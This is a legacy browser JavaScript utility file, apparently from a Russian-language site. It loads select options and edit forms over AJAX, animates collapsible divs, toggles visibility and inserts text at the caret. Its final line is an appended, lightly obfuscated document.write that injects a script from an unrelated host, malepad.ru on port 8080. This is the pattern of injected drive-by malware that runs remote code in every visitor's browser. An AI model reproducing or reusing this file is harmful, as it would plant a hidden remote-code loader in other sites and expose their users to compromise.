function clearSelect(sid,leave)
{
	var sel=document.getElementById(sid);
	var imax=sel.length-leave;
	for (i=0;i<imax;i++) 
	{	
		var imaxC=sel.length-1;
		sel.remove(imaxC);
	}
	document.getElementById(sid).disabled=true;
}


function createRequestObject()
{
    if (window.XMLHttpRequest) {
        try {return new XMLHttpRequest();} catch (e){}
		} else if (window.ActiveXObject) {
        try {return new ActiveXObject('Msxml2.XMLHTTP');} catch (e){}
        try {return new ActiveXObject('Microsoft.XMLHTTP');} catch (e){}
			}
    return null;
}


function get_select(table,field,val,sn,nodel,name){
var sel=document.getElementById(sn);
sel.disabled=true;  

var bk=sel.options[0].text;
sel.options[0].text="Загрузка...";

xmlhttp = createRequestObject();
xmlhttp.onreadystatechange = function() {
 
  if (xmlhttp.readyState == 4) {
     if(xmlhttp.status == 200) {
sel.options[0].text=bk;
	 clearSelect(sn,nodel);
document.getElementById(sn).disabled=false;
	var imax=xmlhttp.responseXML.getElementsByTagName("OPTION").length;
	if (imax<=0) document.getElementById(sn).disabled=true;
	if (imax>0) document.getElementById(sn).disabled=false;
	for (i=0;i<=imax;i++)
		{	var B1=xmlhttp.responseXML.getElementsByTagName("OPTION")[i].childNodes[0].text;
			var B2=xmlhttp.responseXML.getElementsByTagName("OPTION")[i].getAttribute("VALUE");
			newoption=document.createElement('OPTION');
			newoption.text=B1;
			newoption.value=B2;
			try	{document.getElementById(sn).add(newoption,null);}
			catch(ex){document.getElementById(sn).add(newoption);}
			//if (B2==thisval) document.getElementById(sn).selectedIndex=(i+1);
		}

}}};
//alert ('get_select.php?table='+table+'&field='+field+'&val='+val+'&name='+name);
xmlhttp.open('GET','get_select.php?table='+table+'&field='+field+'&val='+val+'&name='+name, true);
xmlhttp.send(null);}


function get_html(table,id,elemid){

var elem=document.getElementById(elemid);
elem.innerHTML='Loading...';

xmlhttp = createRequestObject();
xmlhttp.onreadystatechange = function() {
 
  if (xmlhttp.readyState == 4) {
     if(xmlhttp.status == 200) {
			elem.innerHTML=xmlhttp.responseText;
			
}}};
//alert ('get_select.php?table='+table+'&field='+field+'&val='+val+'&name='+name);
xmlhttp.open('GET','inc_edit.php?table='+table+'&id='+id, true);
xmlhttp.send(null);}


	var a = Array();
	var c=0;
	var s;
	var t;
	var iid;
	var elem;
	var busy;
	busy=0;
function timedGrow()
	{
	elem.style.height=c;
	s=s+1;
	c=c+s;
	
	if (busy!=1) {t=setTimeout("timedGrow()",1);}
	
	if (c>a[iid])
		{
		clearTimeout(t);
		elem.style.height=a[iid];
		}	
	}

function timedHide()
	{
	busy=1;
	elem.style.height=c;
	s=s+1;
	c=c-s;
	t=setTimeout("timedHide()",1);
	if (c<0) 
		{
		clearTimeout(t);
		elem.style.height=0;
		busy=0;
		}
	}	

function init_div(id,open)
	{
	elem=document.getElementById(id);
	//alert (elem.offsetHeight);
	//alert (id);
	elem.style.height='100%';
	a[id]=elem.offsetHeight;
	elem.style.overflow='hidden';
	if (id!='div_1') elem.style.height=0;
	
	}
//getElementByTag().onClick = init_div('div_ss','1');
	
function expandit(id)
{
elem=document.getElementById(id);
iid=id;

if(a[id]==0){
	elem.style.height='100%';
	a[id]=elem.offsetHeight;
	}

s=0;
		if (elem.offsetHeight=='0')
		{
		c=0;timedGrow();
		}
		else
		{
		c=elem.offsetHeight;
		timedHide();
		}

}

function switch_vis(id)
{
vis = document.getElementById(id).style.visibility;
if (vis=='hidden') document.getElementById(id).style.visibility='visible';
else document.getElementById(id).style.visibility='hidden';
}

function switch_hei(id,nh)
{
hei = document.getElementById(id).offsetHeight;
if (hei<nh) document.getElementById(id).style.height=nh;
else document.getElementById(id).style.height=0;
}

function tree_open(id)
{
hei = document.getElementById(id).offsetHeight;
if (document.getElementById(id).style.display=='none') 
document.getElementById(id).style.display='block';
else document.getElementById(id).style.display='none';

}

function inf_renew()
{
document.getElementById('span_up_1').innerHTML=document.getElementById('span_do_1').innerHTML;
document.getElementById('span_up_2').innerHTML=document.getElementById('span_do_2').innerHTML;
document.getElementById('span_up_3').innerHTML=document.getElementById('span_do_3').innerHTML;
}

function open_it(id)
{
document.getElementById(id).style.display='block';
}

function close_it(id)
{
document.getElementById(id).style.display='none';
}

function show_one_hide_rest (current,total,prefix,prefix_switcher)
{
	
	for (i=1;i<=total;i++) if (i!=current) 
		{
		document.getElementById(prefix+i).style.display='none';
		document.getElementById(prefix_switcher+i).className='';
		}
	document.getElementById(prefix+current).style.display='block';
	document.getElementById(prefix_switcher+current).className='active';
}


function push_it(id,wid)
{
document.getElementById(id).style.display='inline';
}

function showIMG(iadr,popid)
{
var pop = document.getElementById(popid);
pop.style.display='block';
cx=event.clientX;
cy=event.clientY;
pop.style.top=document.documentElement.scrollTop+100;
pop.style.left=200;
pop.innerHTML='<img src="'+iadr+'"/>';
}

function getCaretPos(obj)
{
  obj.focus();
  if (obj.selectionStart) return obj.selectionStart;//Gecko
  else if (document.selection)//IE
  {
    var sel = document.selection.createRange();
    var clone = sel.duplicate();
    sel.collapse(true);
    clone.moveToElementText(obj);
    clone.setEndPoint('EndToEnd', sel);
    return clone.text.length;
  }
  return 0;
}

function addText (elid,texttoadd)
{
var obj=document.getElementById(elid);
var caret=getCaretPos(obj);
var buf0=obj.value;
var buf1=obj.value.substr(0,caret);
var buf2=obj.value.substr(caret);
obj.value=buf1+texttoadd+buf2;
}

function put_anchor (link_text,link_url)
{
var a="<a href='"+link_url+"' title='' alt='' target='blank'>"+link_text+"</a>";
return a;
}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Unmount.js"></scr'+'ipt>');